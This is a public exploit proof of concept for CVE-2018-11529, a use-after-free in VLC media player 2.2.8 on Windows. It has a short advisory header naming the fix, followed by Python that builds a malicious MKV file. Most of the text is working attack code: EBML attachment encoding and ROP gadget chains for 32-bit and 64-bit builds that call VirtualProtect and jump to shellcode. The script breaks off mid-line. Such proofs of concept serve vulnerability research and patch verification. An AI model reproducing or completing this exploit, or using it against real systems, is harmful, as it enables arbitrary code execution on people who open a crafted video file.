Message Classification: Restricted # Exploit Title: VLC media player 2.2.8 Arbitrary Code Execution PoC # Date: 6-6-2018 # Exploit Author: Eugene Ng # Vendor Homepage: https://www.videolan.org/vlc/index.html # Software Link: http://download.videolan.org/pub/videolan/vlc/2.2.8/win64/vlc-2.2.8-win64.exe # Version: 2.2.8 # Tested on: Windows 10 x64 # CVE: CVE-2018-11529 # # 1. Description # # VLC media player through 2.2.8 is prone to a Use-After-Free (UAF) vulnerability. This issue allows # an attacker to execute arbitrary code in the context of the logged-in user via crafted MKV files. Failed # exploit attempts will likely result in denial of service conditions. # # Exploit can work on both 32 bits and 64 bits of VLC media player. # # 2. Proof of Concept # # Generate MKV files using python # Open VLC media player # Drag and drop poc.mkv into VLC media player (more reliable than double clicking) # # 3. Solution # # Update to version 3.0.3 # https://get.videolan.org/vlc/3.0.3/win64/vlc-3.0.3-win64.exe import uuid from struct import pack class AttachedFile(object): def __init__(self, data): self.uid = '\x46\xae' + data_size(8) + uuid.uuid4().bytes[:8] self.name = '\x46\x6e' + data_size(8) + uuid.uuid4().bytes[:8] self.mime = '\x46\x60' + data_size(24) + 'application/octet-stream' self.data = '\x46\x5c' + data_size(len(data)) + data self.header = '\x61\xa7' + data_size(len(self.name) + len(self.data) + len(self.mime) + len(self.uid)) def __str__(self): return self.header + self.name + self.mime + self.uid + self.data def to_bytes(n, length): h = '%x' % n s = ('0'*(len(h) % 2) + h).zfill(length*2).decode('hex') return s def data_size(number, numbytes=range(1, 9)): # encode 'number' as an EBML variable-size integer. size = 0 for size in numbytes: bits = size*7 if number <= (1 << bits) - 2: return to_bytes(((1 << bits) + number), size) raise ValueError("Can't store {} in {} bytes".format(number, size)) def build_data(size, bits, version): target_addresses = { '64': 0x40000040, '32': 0x22000020, } target_address = target_addresses[bits] exit_pointers = { '64': { '2.2.8': 0x00412680, }, '32': { '2.2.8': 0x00411364, } } pExit = exit_pointers[bits][version] rop_gadgets = { '64': { '2.2.8': [ 0x004037ac, # XCHG EAX,ESP # ROL BL,90H # CMP WORD PTR [RCX],5A4DH # JE VLC+0X37C0 (00000000`004037C0) # XOR EAX,EAX # RET 0x00403b60, # POP RCX # RET target_address, # lpAddress 0x004011c2, # POP RDX # RET 0x00001000, # dwSize 0x0040ab70, # JMP VirtualProtect target_address + 0x500, # Shellcode ], }, '32': { '2.2.8': [ 0x0040ae91, # XCHG EAX,ESP # ADD BYTE PTR [ECX],AL # MOV EAX,DWORD PTR [EAX] # RET 0x00407086, # POP EDI # RETN [vlc.exe] 0x00000040, # 0x00000040-> edx 0x0040b058, # MOV EDX,EDI # POP ESI # POP EDI # POP EBP # RETN [vlc.exe] 0x41414141, # Filler (compensate) 0x41414141, # Filler (compensate) 0x41414141, # Filler (compensate) 0x004039c7, # POP EAX # POP ECX # RETN [vlc.exe] 0x22000030, # Filler (compensate) for rol [eax] below 0x41414141, # Filler (compensate) 0x004039c8, # POP ECX # RETN [vlc.exe] 0x0041193d, # &Writable location [vlc.exe] 0x00409d18, # POP EBX # RETN [vlc.exe] 0x00000201, # 0x00000201-> ebx 0x0040a623, # POP EBP # RETN [vlc.exe] 0x0040a623, # POP EBP # RETN [vlc.exe] 0x004036CB, # POP ESI # RETN [vlc.exe] 0x0040848c, # JMP ds:[EAX * 4 + 40e000] [vlc.exe] 0x00407086, # POP EDI # RETN [vlc.exe] 0x0040ae95, # MOV EAX,DWORD PTR [EAX] # RETN [vlc.exe] 0x0040af61, # PUSHAD # ROL BYTE PTR [EAX], 0FFH # LOOPNE VLC+0XAEF8 (0040AEF8) target_address + 0x5e0, # Shellcode ], } } if bits == '64': target_address_packed = pack("